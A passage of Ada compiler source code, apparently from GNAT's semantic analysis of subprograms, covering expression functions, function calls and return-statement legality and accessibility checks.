the procedure case and is used -- in posting the warning message. procedure Check_Untagged_Equality (Eq_Op : Entity_Id); -- In Ada 2012, a primitive equality operator on an untagged record type -- must appear before the type is frozen, and have the same visibility as -- that of the type. This procedure checks that this rule is met, and -- otherwise emits an error on the subprogram declaration and a warning -- on the earlier freeze point if it is easy to locate. In Ada 2012 mode, -- this routine outputs errors (or warnings if -gnatd.E is set). In earlier -- versions of Ada, warnings are output if Warn_On_Ada_2012_Incompatibility -- is set, otherwise the call has no effect. procedure Enter_Overloaded_Entity (S : Entity_Id); -- This procedure makes S, a new overloaded entity, into the first visible -- entity with that name. function Is_Non_Overriding_Operation (Prev_E : Entity_Id; New_E : Entity_Id) return Boolean; -- Enforce the rule given in 12.3(18): a private operation in an instance -- overrides an inherited operation only if the corresponding operation -- was overriding in the generic. This needs to be checked for primitive -- operations of types derived (in the generic unit) from formal private -- or formal derived types. procedure Make_Inequality_Operator (S : Entity_Id); -- Create the declaration for an inequality operator that is implicitly -- created by a user-defined equality operator that yields a boolean. procedure Preanalyze_Formal_Expression (N : Node_Id; T : Entity_Id); -- Preanalysis of default expressions of subprogram formals. N is the -- expression to be analyzed and T is the expected type. procedure Set_Formal_Validity (Formal_Id : Entity_Id); -- Formal_Id is an formal parameter entity. This procedure deals with -- setting the proper validity status for this entity, which depends on -- the kind of parameter and the validity checking mode. --------------------------------------------- -- Analyze_Abstract_Subprogram_Declaration -- --------------------------------------------- procedure Analyze_Abstract_Subprogram_Declaration (N : Node_Id) is Scop : constant Entity_Id := Current_Scope; Subp_Id : constant Entity_Id := Analyze_Subprogram_Specification (Specification (N)); begin Generate_Definition (Subp_Id); -- Set the SPARK mode from the current context (may be overwritten later -- with explicit pragma). Set_SPARK_Pragma (Subp_Id, SPARK_Mode_Pragma); Set_SPARK_Pragma_Inherited (Subp_Id); -- Preserve relevant elaboration-related attributes of the context which -- are no longer available or very expensive to recompute once analysis, -- resolution, and expansion are over. Mark_Elaboration_Attributes (N_Id => Subp_Id, Checks => True, Warnings => True); Set_Is_Abstract_Subprogram (Subp_Id); New_Overloaded_Entity (Subp_Id); Check_Delayed_Subprogram (Subp_Id); Set_Categorization_From_Scope (Subp_Id, Scop); if Ekind (Scope (Subp_Id)) = E_Protected_Type then Error_Msg_N ("abstract subprogram not allowed in protected type", N); -- Issue a warning if the abstract subprogram is neither a dispatching -- operation nor an operation that overrides an inherited subprogram or -- predefined operator, since this most likely indicates a mistake. elsif Warn_On_Redundant_Constructs and then not Is_Dispatching_Operation (Subp_Id) and then not Present (Overridden_Operation (Subp_Id)) and then (not Is_Operator_Symbol_Name (Chars (Subp_Id)) or else Scop /= Scope (Etype (First_Formal (Subp_Id)))) then Error_Msg_N ("abstract subprogram is not dispatching or overriding?r?", N); end if; Generate_Reference_To_Formals (Subp_Id); Check_Eliminated (Subp_Id); if Has_Aspects (N) then Analyze_Aspect_Specifications (N, Subp_Id); end if; end Analyze_Abstract_Subprogram_Declaration; --------------------------------- -- Analyze_Expression_Function -- --------------------------------- procedure Analyze_Expression_Function (N : Node_Id) is Expr : constant Node_Id := Expression (N); Loc : constant Source_Ptr := Sloc (N); LocX : constant Source_Ptr := Sloc (Expr); Spec : constant Node_Id := Specification (N); -- Local variables Asp : Node_Id; New_Body : Node_Id; New_Spec : Node_Id; Orig_N : Node_Id := Empty; Ret : Node_Id; Typ : Entity_Id := Empty; Def_Id : Entity_Id := Empty; Prev : Entity_Id; -- If the expression is a completion, Prev is the entity whose -- declaration is completed. Def_Id is needed to analyze the spec. begin -- This is one of the occasions on which we transform the tree during -- semantic analysis. If this is a completion, transform the expression -- function into an equivalent subprogram body, and analyze it. -- Expression functions are inlined unconditionally. The back-end will -- determine whether this is possible. Inline_Processing_Required := True; -- Create a specification for the generated body. This must be done -- prior to the analysis of the initial declaration. New_Spec := Copy_Subprogram_Spec (Spec); Prev := Current_Entity_In_Scope (Defining_Entity (Spec)); -- If there are previous overloadable entities with the same name, -- check whether any of them is completed by the expression function. -- In a generic context a formal subprogram has no completion. if Present (Prev) and then Is_Overloadable (Prev) and then not Is_Formal_Subprogram (Prev) then Def_Id := Analyze_Subprogram_Specification (Spec); Prev := Find_Corresponding_Spec (N); Typ := Etype (Def_Id); -- The previous entity may be an expression function as well, in -- which case the redeclaration is illegal. if Present (Prev) and then Nkind (Original_Node (Unit_Declaration_Node (Prev))) = N_Expression_Function then Error_Msg_Sloc := Sloc (Prev); Error_Msg_N ("& conflicts with declaration#", Def_Id); return; end if; end if; Ret := Make_Simple_Return_Statement (LocX, Expr); New_Body := Make_Subprogram_Body (Loc, Specification => New_Spec, Declarations => Empty_List, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (LocX, Statements => New_List (Ret))); Set_Was_Expression_Function (New_Body); -- If the expression completes a generic subprogram, we must create a -- separate node for the body, because at instantiation the original -- node of the generic copy must be a generic subprogram body, and -- cannot be a expression function. Otherwise we just rewrite the -- expression with the non-generic body. if Present (Prev) and then Ekind (Prev) = E_Generic_Function then Insert_After (N, New_Body); -- Propagate any aspects or pragmas that apply to the expression -- function to the proper body when the expression function acts -- as a completion. if Has_Aspects (N) then Move_Aspects (N, To => New_Body); end if; Relocate_Pragmas_To_Body (New_Body); Rewrite (N, Make_Null_Statement (Loc)); Set_Has_Completion (Prev, False); Analyze (N); Analyze (New_Body); Set_Is_Inlined (Prev); elsif Present (Prev) and then Is_Overloadable (Prev) and then not Is_Formal_Subprogram (Prev) then Set_Has_Completion (Prev, False); Set_Is_Inlined (Prev); -- AI12-0103: Expression functions that are a completion freeze their -- expression but don't freeze anything else (unlike regular bodies). -- Note that we cannot defer this freezing to the analysis of the -- expression itself, because a freeze node might appear in a nested -- scope, leading to an elaboration order issue in gigi. -- As elsewhere, we do not emit freeze nodes within a generic unit. if not Inside_A_Generic then Freeze_Expr_Types (Def_Id => Def_Id, Typ => Typ, Expr => Expr, N => N); end if; -- For navigation purposes, indicate that the function is a body Generate_Reference (Prev, Defining_Entity (N), 'b', Force => True); Rewrite (N, New_Body); -- Remove any existing aspects from the original node because the act -- of rewriting causes the list to be shared between the two nodes. Orig_N := Original_Node (N); Remove_Aspects (Orig_N); -- Propagate any pragmas that apply to expression function to the -- proper body when the expression function acts as a completion. -- Aspects are automatically transfered because of node rewriting. Relocate_Pragmas_To_Body (N); Analyze (N); -- Prev is the previous entity with the same name, but it is can -- be an unrelated spec that is not completed by the expression -- function. In that case the relevant entity is the one in the body. -- Not clear that the backend can inline it in this case ??? if Has_Completion (Prev) then -- The formals of the expression function are body formals, -- and do not appear in the ali file, which will only contain -- references to the formals of the original subprogram spec. declare F1 : Entity_Id; F2 : Entity_Id; begin F1 := First_Formal (Def_Id); F2 := First_Formal (Prev); while Present (F1) loop Set_Spec_Entity (F1, F2); Next_Formal (F1); Next_Formal (F2); end loop; end; else Set_Is_Inlined (Defining_Entity (New_Body)); end if; -- If this is not a completion, create both a declaration and a body, so -- that the expression can be inlined whenever possible. else -- An expression function that is not a completion is not a -- subprogram declaration, and thus cannot appear in a protected -- definition. if Nkind (Parent (N)) = N_Protected_Definition then Error_Msg_N ("an expression function is not a legal protected operation", N); end if; Rewrite (N, Make_Subprogram_Declaration (Loc, Specification => Spec)); -- Remove any existing aspects from the original node because the act -- of rewriting causes the list to be shared between the two nodes. Orig_N := Original_Node (N); Remove_Aspects (Orig_N); Analyze (N); -- If aspect SPARK_Mode was specified on the body, it needs to be -- repeated both on the generated spec and the body. Asp := Find_Aspect (Defining_Unit_Name (Spec), Aspect_SPARK_Mode); if Present (Asp) then Asp := New_Copy_Tree (Asp); Set_Analyzed (Asp, False); Set_Aspect_Specifications (New_Body, New_List (Asp)); end if; Def_Id := Defining_Entity (N); Set_Is_Inlined (Def_Id); Typ := Etype (Def_Id); -- Establish the linkages between the spec and the body. These are -- used when the expression function acts as the prefix of attribute -- 'Access in order to freeze the original expression which has been -- moved to the generated body. Set_Corresponding_Body (N, Defining_Entity (New_Body)); Set_Corresponding_Spec (New_Body, Def_Id); -- Within a generic preanalyze the original expression for name -- capture. The body is also generated but plays no role in -- this because it is not part of the original source. -- If this is an ignored Ghost entity, analysis of the generated -- body is needed to hide external references (as is done in -- Analyze_Subprogram_Body) after which the the subprogram profile -- can be frozen, which is needed to expand calls to such an ignored -- Ghost subprogram. if Inside_A_Generic then Set_Has_Completion (Def_Id, not Is_Ignored_Ghost_Entity (Def_Id)); Push_Scope (Def_Id); Install_Formals (Def_Id); Preanalyze_Spec_Expression (Expr, Typ); End_Scope; else Push_Scope (Def_Id); Install_Formals (Def_Id); Preanalyze_Formal_Expression (Expr, Typ); Check_Limited_Return (Orig_N, Expr, Typ); End_Scope; end if; -- If this is a wrapper created in an instance for a formal -- subprogram, insert body after declaration, to be analyzed when the -- enclosing instance is analyzed. if GNATprove_Mode and then Is_Generic_Actual_Subprogram (Def_Id) then Insert_After (N, New_Body); -- To prevent premature freeze action, insert the new body at the end -- of the current declarations, or at the end of the package spec. -- However, resolve usage names now, to prevent spurious visibility -- on later entities. Note that the function can now be called in -- the current declarative part, which will appear to be prior to the -- presence of the body in the code. There are nevertheless no order -- of elaboration issues because all name resolution has taken place -- at the point of declaration. else declare Decls : List_Id := List_Containing (N); Par : constant Node_Id := Parent (Decls); begin if Nkind (Par) = N_Package_Specification and then Decls = Visible_Declarations (Par) and then not Is_Empty_List (Private_Declarations (Par)) then Decls := Private_Declarations (Par); end if; Insert_After (Last (Decls), New_Body); end; end if; -- In the case of an expression function marked with the aspect -- Static, we need to check the requirement that the function's -- expression is a potentially static expression. This is done -- by making a full copy of the expression tree and performing -- a special preanalysis on that tree with the global flag -- Checking_Potentially_Static_Expression enabled. If the -- resulting expression is static, then it's OK, but if not, that -- means the expression violates the requirements of the Ada 2022 -- RM in 4.9(3.2/5-3.4/5) and we flag an error. if Is_Static_Function (Def_Id) then if not Is_Static_Expression (Expr) then declare Exp_Copy : constant Node_Id := New_Copy_Tree (Expr); begin Set_Checking_Potentially_Static_Expression (True); Preanalyze_Formal_Expression (Exp_Copy, Typ); if not Is_Static_Expression (Exp_Copy) then Error_Msg_N ("static expression function requires " & "potentially static expression", Expr); end if; Set_Checking_Potentially_Static_Expression (False); end; end if; -- We also make an additional copy of the expression and -- replace the expression of the expression function with -- this copy, because the currently present expression is -- now associated with the body created for the static -- expression function, which will later be analyzed and -- possibly rewritten, and we need to have the separate -- unanalyzed copy available for use with later static -- calls. Set_Expression (Original_Node (Subprogram_Spec (Def_Id)), New_Copy_Tree (Expr)); -- Mark static expression functions as inlined, to ensure -- that even calls with nonstatic actuals will be inlined. Set_Has_Pragma_Inline (Def_Id); Set_Is_Inlined (Def_Id); end if; end if; -- Check incorrect use of dynamically tagged expression. This doesn't -- fall out automatically when analyzing the generated function body, -- because Check_Dynamically_Tagged_Expression deliberately ignores -- nodes that don't come from source. if Present (Def_Id) and then Is_Tagged_Type (Typ) then Check_Dynamically_Tagged_Expression (Expr => Expr, Typ => Typ, Related_Nod => Orig_N); end if; -- We must enforce checks for unreferenced formals in our newly -- generated function, so we propagate the referenced flag from the -- original spec to the new spec as well as setting Comes_From_Source. if Present (Parameter_Specifications (New_Spec)) then declare Form_New_Def : Entity_Id; Form_New_Spec : Node_Id; Form_Old_Def : Entity_Id; Form_Old_Spec : Node_Id; begin Form_New_Spec := First (Parameter_Specifications (New_Spec)); Form_Old_Spec := First (Parameter_Specifications (Spec)); while Present (Form_New_Spec) and then Present (Form_Old_Spec) loop Form_New_Def := Defining_Identifier (Form_New_Spec); Form_Old_Def := Defining_Identifier (Form_Old_Spec); Set_Comes_From_Source (Form_New_Def, True); -- Because of the usefulness of unreferenced controlling -- formals we exempt them from unreferenced warnings by marking -- them as always referenced. Set_Referenced (Form_Old_Def, (Is_Formal (Form_Old_Def) and then Is_Controlling_Formal (Form_Old_Def)) or else Referenced (Form_Old_Def)); Next (Form_New_Spec); Next (Form_Old_Spec); end loop; end; end if; end Analyze_Expression_Function; --------------------------------------- -- Analyze_Extended_Return_Statement -- --------------------------------------- procedure Analyze_Extended_Return_Statement (N : Node_Id) is begin Analyze_Return_Statement (N); end Analyze_Extended_Return_Statement; ---------------------------- -- Analyze_Function_Call -- ---------------------------- procedure Analyze_Function_Call (N : Node_Id) is Actuals : constant List_Id := Parameter_Associations (N); Func_Nam : constant Node_Id := Name (N); Actual : Node_Id; begin Analyze (Func_Nam); -- A call of the form A.B (X) may be an Ada 2005 call, which is -- rewritten as B (A, X). If the rewriting is successful, the call -- has been analyzed and we just return. if Nkind (Func_Nam) = N_Selected_Component and then Name (N) /= Func_Nam and then Is_Rewrite_Substitution (N) and then Present (Etype (N)) then return; end if; -- If error analyzing name, then set Any_Type as result type and return if Etype (Func_Nam) = Any_Type then Set_Etype (N, Any_Type); return; end if; -- Otherwise analyze the parameters if Present (Actuals) then Actual := First (Actuals); while Present (Actual) loop Analyze (Actual); Check_Parameterless_Call (Actual); Next (Actual); end loop; end if; Analyze_Call (N); end Analyze_Function_Call; ----------------------------- -- Analyze_Function_Return -- ----------------------------- procedure Analyze_Function_Return (N : Node_Id) is Loc : constant Source_Ptr := Sloc (N); Stm_Entity : constant Entity_Id := Return_Statement_Entity (N); Scope_Id : constant Entity_Id := Return_Applies_To (Stm_Entity); R_Type : constant Entity_Id := Etype (Scope_Id); -- Function result subtype procedure Check_No_Return_Expression (Return_Expr : Node_Id); -- Ada 2022: Check that the return expression in a No_Return function -- meets the conditions specified by RM 6.5.1(5.1/5). procedure Check_Return_Construct_Accessibility (Return_Stmt : Node_Id); -- Apply legality rule of 6.5 (5.9) to the access discriminants of an -- aggregate in a return statement. procedure Check_Return_Subtype_Indication (Obj_Decl : Node_Id); -- Check that the return_subtype_indication properly matches the result -- subtype of the function, as required by RM-6.5(5.1/2-5.3/2). -------------------------------- -- Check_No_Return_Expression -- -------------------------------- procedure Check_No_Return_Expression (Return_Expr : Node_Id) is Kind : constant Node_Kind := Nkind (Return_Expr); begin if Kind = N_Raise_Expression then return; elsif Kind = N_Function_Call and then Is_Entity_Name (Name (Return_Expr)) and then Ekind (Entity (Name (Return_Expr))) in E_Function | E_Generic_Function and then No_Return (Entity (Name (Return_Expr))) then return; end if; Error_Msg_N ("illegal expression in RETURN statement of No_Return function", Return_Expr); Error_Msg_N ("\must be raise expression or call to No_Return (RM 6.5.1(5.1/5))", Return_Expr); end Check_No_Return_Expression; ------------------------------------------ -- Check_Return_Construct_Accessibility -- ------------------------------------------ procedure Check_Return_Construct_Accessibility (Return_Stmt : Node_Id) is function First_Selector (Assoc : Node_Id) return Node_Id; -- Obtain the first selector or choice from a given association -------------------- -- First_Selector -- -------------------- function First_Selector (Assoc : Node_Id) return Node_Id is begin if Nkind (Assoc) = N_Component_Association then return First (Choices (Assoc)); elsif Nkind (Assoc) = N_Discriminant_Association then return (First (Selector_Names (Assoc))); else raise Program_Error; end if; end First_Selector; -- Local declarations Assoc : Node_Id := Empty; -- Assoc should perhaps be renamed and declared as a -- Node_Or_Entity_Id since it encompasses not only component and -- discriminant associations, but also discriminant components within -- a type declaration or subtype indication ??? Assoc_Expr : Node_Id; Assoc_Present : Boolean := False; Check_Cond : Node_Id; Unseen_Disc_Count : Nat := 0; Seen_Discs : Elist_Id; Disc : Entity_Id; First_Disc : Entity_Id; Obj_Decl : Node_Id; Return_Con : Node_Id; Unqual : Node_Id; -- Start of processing for Check_Return_Construct_Accessibility begin -- Only perform checks on record types with access discriminants and -- non-internally generated functions. if not Is_Record_Type (R_Type) or else not Has_Anonymous_Access_Discriminant (R_Type) or else not Comes_From_Source (Return_Stmt) then return; end if; -- We are only interested in return statements if Nkind (Return_Stmt) not in N_Extended_Return_Statement | N_Simple_Return_Statement then return; end if; -- Fetch the object from the return statement, in the case of a -- simple return statement the expression is part of the node. if Nkind (Return_Stmt) = N_Extended_Return_Statement then -- Obtain the object definition from the expanded extended return Return_Con := First (Return_Object_Declarations (Return_Stmt)); while Present (Return_Con) loop -- Inspect the original node to avoid object declarations -- expanded into renamings. if Nkind (Original_Node (Return_Con)) = N_Object_Declaration and then Comes_From_Source (Original_Node (Return_Con)) then exit; end if; Nlists.Next (Return_Con); end loop; pragma Assert (Present (Return_Con)); -- Could be dealing with a renaming Return_Con := Original_Node (Return_Con); else Return_Con := Expression (Return_Stmt); end if; -- Obtain the accessibility levels of the expressions associated -- with all anonymous access discriminants, then generate a -- dynamic check or static error when relevant. Unqual := Unqualify (Original_Node (Return_Con)); -- Get the corresponding declaration based on the return object's -- identifier. if Nkind (Unqual) = N_Identifier and then Nkind (Parent (Entity (Unqual))) in N_Object_Declaration | N_Object_Renaming_Declaration then Obj_Decl := Original_Node (Parent (Entity (Unqual))); -- We were passed the object declaration directly, so use it elsif Nkind (Unqual) in N_Object_Declaration | N_Object_Renaming_Declaration then Obj_Decl := Unqual; -- Otherwise, we are looking at something else else Obj_Decl := Empty; end if; -- Hop up object renamings when present if Present (Obj_Decl) and then Nkind (Obj_Decl) = N_Object_Renaming_Declaration then while Nkind (Obj_Decl) = N_Object_Renaming_Declaration loop if Nkind (Name (Obj_Decl)) not in N_Entity then -- We may be looking at the expansion of iterators or -- some other internally generated construct, so it is safe -- to ignore checks ??? if not Comes_From_Source (Obj_Decl) then return; end if; Obj_Decl := Original_Node (Declaration_Node (Ultimate_Prefix (Name (Obj_Decl)))); -- Move up to the next declaration based on the object's name else Obj_Decl := Original_Node (Declaration_Node (Name (Obj_Decl))); end if; end loop; end if; -- Obtain the discriminant values from the return aggregate -- Do we cover extension aggregates correctly ??? if Nkind (Unqual) = N_Aggregate then if Present (Expressions (Unqual)) then Assoc := First (Expressions (Unqual)); else Assoc := First (Component_Associations (Unqual)); end if; -- There is an object declaration for the return object elsif Present (Obj_Decl) then -- When a subtype indication is present in an object declaration -- it must contain the object's discriminants. if Nkind (Object_Definition (Obj_Decl)) = N_Subtype_Indication then Assoc := First (Constraints (Constraint (Object_Definition (Obj_Decl)))); -- The object declaration contains an aggregate elsif Present (Expression (Obj_Decl)) then if Nkind (Unqualify (Expression (Obj_Decl))) = N_Aggregate then -- Grab the first associated discriminant expresion if Present (Expressions (Unqualify (Expression (Obj_Decl)))) then Assoc := First (Expressions (Unqualify (Expression (Obj_Decl)))); else Assoc := First (Component_Associations (Unqualify (Expression (Obj_Decl)))); end if; -- Otherwise, this is something else else return; end if; -- There are no supplied discriminants in the object declaration, -- so get them from the type definition since they must be default -- initialized. -- Do we handle constrained subtypes correctly ??? elsif Nkind (Unqual) = N_Object_Declaration then Assoc := First_Discriminant (Etype (Object_Definition (Obj_Decl))); else Assoc := First_Discriminant (Etype (Unqual)); end if; -- When we are not looking at an aggregate or an identifier, return -- since any other construct (like a function call) is not -- applicable since checks will be performed on the side of the -- callee. else return; end if; -- Obtain the discriminants so we know the actual type in case the -- value of their associated expression gets implicitly converted. if No (Obj_Decl) then pragma Assert (Nkind (Unqual) = N_Aggregate); Disc := First_Discriminant (Etype (Unqual)); else Disc := First_Discriminant (Etype (Defining_Identifier (Obj_Decl))); end if; -- Preserve the first discriminant for checking named associations First_Disc := Disc; -- Count the number of discriminants for processing an aggregate -- which includes an others. Disc := First_Disc; while Present (Disc) loop Unseen_Disc_Count := Unseen_Disc_Count + 1; Next_Discriminant (Disc); end loop; Seen_Discs := New_Elmt_List; -- Loop through each of the discriminants and check each expression -- associated with an anonymous access discriminant. -- When named associations occur in the return aggregate then -- discriminants can be in any order, so we need to ensure we do -- not continue to loop when all discriminants have been seen. Disc := First_Disc; while Present (Assoc) and then (Present (Disc) or else Assoc_Present) and then Unseen_Disc_Count > 0 loop -- Handle named associations by searching through the names of -- the relevant discriminant components. if Nkind (Assoc) in N_Component_Association | N_Discriminant_Association then Assoc_Expr := Expression (Assoc); Assoc_Present := True; -- We currently don't handle box initialized discriminants, -- however, since default initialized anonymous access -- discriminants are a corner case, this is ok for now ??? if Nkind (Assoc) = N_Component_Association and then Box_Present (Assoc) then Assoc_Present := False; if Nkind (First_Selector (Assoc)) = N_Others_Choice then Unseen_Disc_Count := 0; end if; -- When others is present we must identify a discriminant we -- haven't already seen so as to get the appropriate type for -- the static accessibility check. -- This works because all components within an others clause -- must have the same type. elsif Nkind (First_Selector (Assoc)) = N_Others_Choice then Disc := First_Disc; Outer : while Present (Disc) loop declare Current_Seen_Disc : Elmt_Id; begin -- Move through the list of identified discriminants Current_Seen_Disc := First_Elmt (Seen_Discs); while Present (Current_Seen_Disc) loop -- Exit the loop when we found a match exit when Chars (Node (Current_Seen_Disc)) = Chars (Disc); Next_Elmt (Current_Seen_Disc); end loop; -- When we have exited the above loop without finding -- a match then we know that Disc has not been seen. exit Outer when No (Current_Seen_Disc); end; Next_Discriminant (Disc); end loop Outer; -- If we got to an others clause with a non-zero -- discriminant count there must be a discriminant left to -- check. pragma Assert (Present (Disc)); -- Set the unseen discriminant count to zero because we know -- an others clause sets all remaining components of an -- aggregate. Unseen_Disc_Count := 0; -- Move through each of the selectors in the named association -- and obtain a discriminant for accessibility checking if one -- is referenced in the list. Also track which discriminants -- are referenced for the purpose of handling an others clause. else declare Assoc_Choice : Node_Id; Curr_Disc : Node_Id; begin Disc := Empty; Curr_Disc := First_Disc; while Present (Curr_Disc) loop -- Check each of the choices in the associations for a -- match to the name of the current discriminant. Assoc_Choice := First_Selector (Assoc); while Present (Assoc_Choice) loop -- When the name matches we track that we have seen -- the discriminant, but instead of exiting the -- loop we continue iterating to make sure all the -- discriminants within the named association get -- tracked. if Chars (Assoc_Choice) = Chars (Curr_Disc) then Append_Elmt (Curr_Disc, Seen_Discs); Disc := Curr_Disc; Unseen_Disc_Count := Unseen_Disc_Count - 1; end if; Next (Assoc_Choice); end loop; Next_Discriminant (Curr_Disc); end loop; end; end if; -- Unwrap the associated expression if we are looking at a default -- initialized type declaration. In this case Assoc is not really -- an association, but a component declaration. Should Assoc be -- renamed in some way to be more clear ??? -- This occurs when the return object does not initialize -- discriminant and instead relies on the type declaration for -- their supplied values. elsif Nkind (Assoc) in N_Entity and then Ekind (Assoc) = E_Discriminant then Append_Elmt (Disc, Seen_Discs); Assoc_Expr := Discriminant_Default_Value (Assoc); Unseen_Disc_Count := Unseen_Disc_Count - 1; -- Otherwise, there is nothing to do because Assoc is an -- expression within the return aggregate itself. else Append_Elmt (Disc, Seen_Discs); Assoc_Expr := Assoc; Unseen_Disc_Count := Unseen_Disc_Count - 1; end if; -- Check the accessibility level of the expression when the -- discriminant is of an anonymous access type. if Present (Assoc_Expr) and then Present (Disc) and then Ekind (Etype (Disc)) = E_Anonymous_Access_Type then -- Generate a dynamic check based on the extra accessibility of -- the result or the scope. Check_Cond := Make_Op_Gt (Loc, Left_Opnd => Accessibility_Level (Expr => Assoc_Expr, Level => Dynamic_Level, In_Return_Context => True), Right_Opnd => (if Present (Extra_Accessibility_Of_Result (Scope_Id)) then Extra_Accessibility_Of_Result (Scope_Id) else Make_Integer_Literal (Loc, Scope_Depth (Scope (Scope_Id))))); Insert_Before_And_Analyze (Return_Stmt, Make_Raise_Program_Error (Loc, Condition => Check_Cond, Reason => PE_Accessibility_Check_Failed)); -- If constant folding has happened on the condition for the -- generated error, then warn about it being unconditional when -- we know an error will be raised. if Nkind (Check_Cond) = N_Identifier and then Entity (Check_Cond) = Standard_True then Error_Msg_N ("access discriminant in return object would be a dangling" & " reference", Return_Stmt); end if; end if; -- Iterate over the discriminants, except when we have encountered -- a named association since the discriminant order becomes -- irrelevant in that case. if not Assoc_Present then Next_Discriminant (Disc); end if; -- Iterate over associations if not Is_List_Member (Assoc) then exit; else Nlists.Next (Assoc); end if; end loop; end Check_Return_Construct_Accessibility; ------------------------------------- -- Check_Return_Subtype_Indication -- ------------------------------------- procedure Check_Return_Subtype_Indication (Obj_Decl : Node_Id) is Return_Obj : constant Node_Id := Defining_Identifier (Obj_Decl); R_Stm_Type : constant Entity_Id := Etype (Return_Obj); -- Subtype given in the extended return statement (must match R_Type) Subtype_Ind : constant Node_Id := Object_Definition (Original_Node (Obj_Decl)); procedure Error_No_Match (N : Node_Id); -- Output error messages for case where types do not statically -- match. N is the location for the messages. -------------------- -- Error_No_Match -- -------------------- procedure Error_No_Match (N : Node_Id) is begin Error_Msg_N ("subtype must statically match function result subtype", N); if not Predicates_Match (R_Stm_Type, R_Type) then Error_Msg_Node_2 := R_Type; Error_Msg_NE ("\predicate of& does not match predicate of&", N, R_Stm_Type); end if; end Error_No_Match; -- Start of processing for Check_Return_Subtype_Indication begin -- First, avoid cascaded errors if Error_Posted (Obj_Decl) or else Error_Posted (Subtype_Ind) then return; end if; -- "return access T" case; check that the return statement also has -- "access T", and that the subtypes statically match: -- if this is an access to subprogram the signatures must match. if Is_Anonymous_Access_Type (R_Type) then if Is_Anonymous_Access_Type (R_Stm_Type) then if Ekind (Designated_Type (R_Stm_Type)) /= E_Subprogram_Type then if Base_Type (Designated_Type (R_Stm_Type)) /= Base_Type (Designated_Type (R_Type)) or else not Subtypes_Statically_Match (R_Stm_Type, R_Type) then Error_No_Match (Subtype_Mark (Subtype_Ind)); end if; else -- For two anonymous access to subprogram types, the types -- themselves must be type conformant. if not Conforming_Types (R_Stm_Type, R_Type, Fully_Conformant) then Error_No_Match (Subtype_Ind); end if; end if; else Error_Msg_N ("must use anonymous access type", Subtype_Ind); end if; -- If the return object is of an anonymous access type, then report -- an error if the function's result type is not also anonymous. elsif Is_Anonymous_Access_Type (R_Stm_Type) then pragma Assert (not Is_Anonymous_Access_Type (R_Type)); Error_Msg_N ("anonymous access not allowed for function with named access " & "result", Subtype_Ind); -- Subtype indication case: check that the return object's type is -- covered by the result type, and that the subtypes statically match -- when the result subtype is constrained. Also handle record types -- with unknown discriminants for which we have built the underlying -- record view. Coverage is needed to allow specific-type return -- objects when the result type is class-wide (see AI05-32). elsif Covers (Base_Type (R_Type), Base_Type (R_Stm_Type)) or else (Is_Underlying_Record_View (Base_Type (R_Stm_Type)) and then Covers (Base_Type (R_Type), Underlying_Record_View (Base_Type (R_Stm_Type)))) then -- A null exclusion may be present on the return type, on the -- function specification, on the object declaration or on the -- subtype itself. if Is_Access_Type (R_Type) and then (Can_Never_Be_Null (R_Type) or else Null_Exclusion_Present (Parent (Scope_Id))) /= Can_Never_Be_Null (R_Stm_Type) then Error_No_Match (Subtype_Ind); end if; -- AI05-103: for elementary types, subtypes must statically match if Is_Constrained (R_Type) or else Is_Access_Type (R_Type) then if not Subtypes_Statically_Match (R_Stm_Type, R_Type) then Error_No_Match (Subtype_Ind); end if; end if; -- All remaining cases are illegal -- Note: previous versions of this subprogram allowed the return -- value to be the ancestor of the return type if the return type -- was a null extension. This was plainly incorrect. else Error_Msg_N ("wrong type for return_subtype_indication", Subtype_Ind); end if; end Check_Return_Subtype_Indication; --------------------- -- Local Variables -- --------------------- Expr : Node_Id; Obj_Decl : Node_Id := Empty; -- Start of processing for Analyze_Function_Return begin Set_Return_Present (Scope_Id); if Nkind (N) = N_Simple_Return_Statement then Expr := Expression (N); -- Guard against a malformed expression. The parser may have tried to -- recover but the node is not analyzable. if Nkind (Expr) = N_Error then Set_Etype (Expr, Any_Type); Expander_Mode_Save_And_Set (False); return; else -- The resolution of a controlled [extension] aggregate associated -- with a return statement creates a temporary which needs to be -- finalized on function exit. Wrap the return statement inside a -- block so that the finalization machinery can detect this case. -- This early expansion is done only when the return statement is -- not part of a handled sequence of statements. if Nkind (Expr) in N_Aggregate | N_Extension_Aggregate and then Needs_Finalization (R_Type) and then Nkind (Parent (N)) /= N_Handled_Sequence_Of_Statements then Rewrite (N, Make_Block_Statement (Loc, Handled_Statement_Sequence => Make_Handled_Sequence_Of_Statements (Loc, Statements => New_List (Relocate_Node (N))))); Analyze (N); return; end if; Analyze (Expr); -- Ada 2005 (AI-251): If the type of the returned object is -- an access to an interface type then we add an implicit type -- conversion to force the displacement of the "this" pointer to -- reference the secondary dispatch table. We cannot delay the -- generation of this implicit conversion until the expansion -- because in this case the type resolution changes the decoration -- of the expression node to match R_Type; by contrast, if the -- returned object is a class-wide interface type then it is too -- early to generate here the implicit conversion since the return -- statement may be rewritten by the expander into an extended -- return statement whose expansion takes care of adding the -- implicit type conversion to displace the pointer to the object. if Expander_Active and then Serious_Errors_Detected = 0 and then Is_Access_Type (R_Type) and then Nkind (Expr) not in N_Null | N_Raise_Expression and then Is_Interface (Designated_Type (R_Type)) and then Is_Progenitor (Designated_Type (R_Type), Designated_Type (Etype (Expr))) then Rewrite (Expr, Convert_To (R_Type, Relocate_Node (Expr))); Analyze (Expr); end if; Resolve (Expr, R_Type); Check_Limited_Return (N, Expr, R_Type); Check_Return_Construct_Accessibility (N); -- Ada 2022 (AI12-0269): Any return statement that applies to a -- nonreturning function shall be a simple_return_statement with -- an expression that is a raise_expression, or else a call on a -- nonreturning function, or else a parenthesized expression of -- one of these. if Ada_Version >= Ada_2022 and then No_Return (Scope_Id) and then Comes_From_Source (N) then Check_No_Return_Expression (Original_Node (Expr)); end if; end if; else Obj_Decl := Last (Return_Object_Declarations (N)); -- Analyze parts specific to extended_return_statement: declare Has_Aliased : constant Boolean := Aliased_Present (Obj_Decl); HSS : constant Node_Id := Handled_Statement_Sequence (N); begin Expr := Expression (Obj_Decl); -- Note: The check for OK_For_Limited_Init will happen in -- Analyze_Object_Declaration; we treat it as a normal -- object declaration. Set_Is_Return_Object (Defining_Identifier (Obj_Decl)); -- Returning a build-in-place unconstrained array type we defer -- the full analysis of the returned object to avoid generating -- the corresponding constrained subtype; otherwise the bounds -- would be created in the stack and a dangling reference would -- be returned pointing to the bounds. We perform its preanalysis -- to report errors on the initializing aggregate now (if any); -- we also ensure its activation chain and Master variable are -- defined (if tasks are being declared) since they are generated -- as part of the analysis and expansion of the object declaration -- at this stage. if Is_Array_Type (R_Type) and then not Is_Constrained 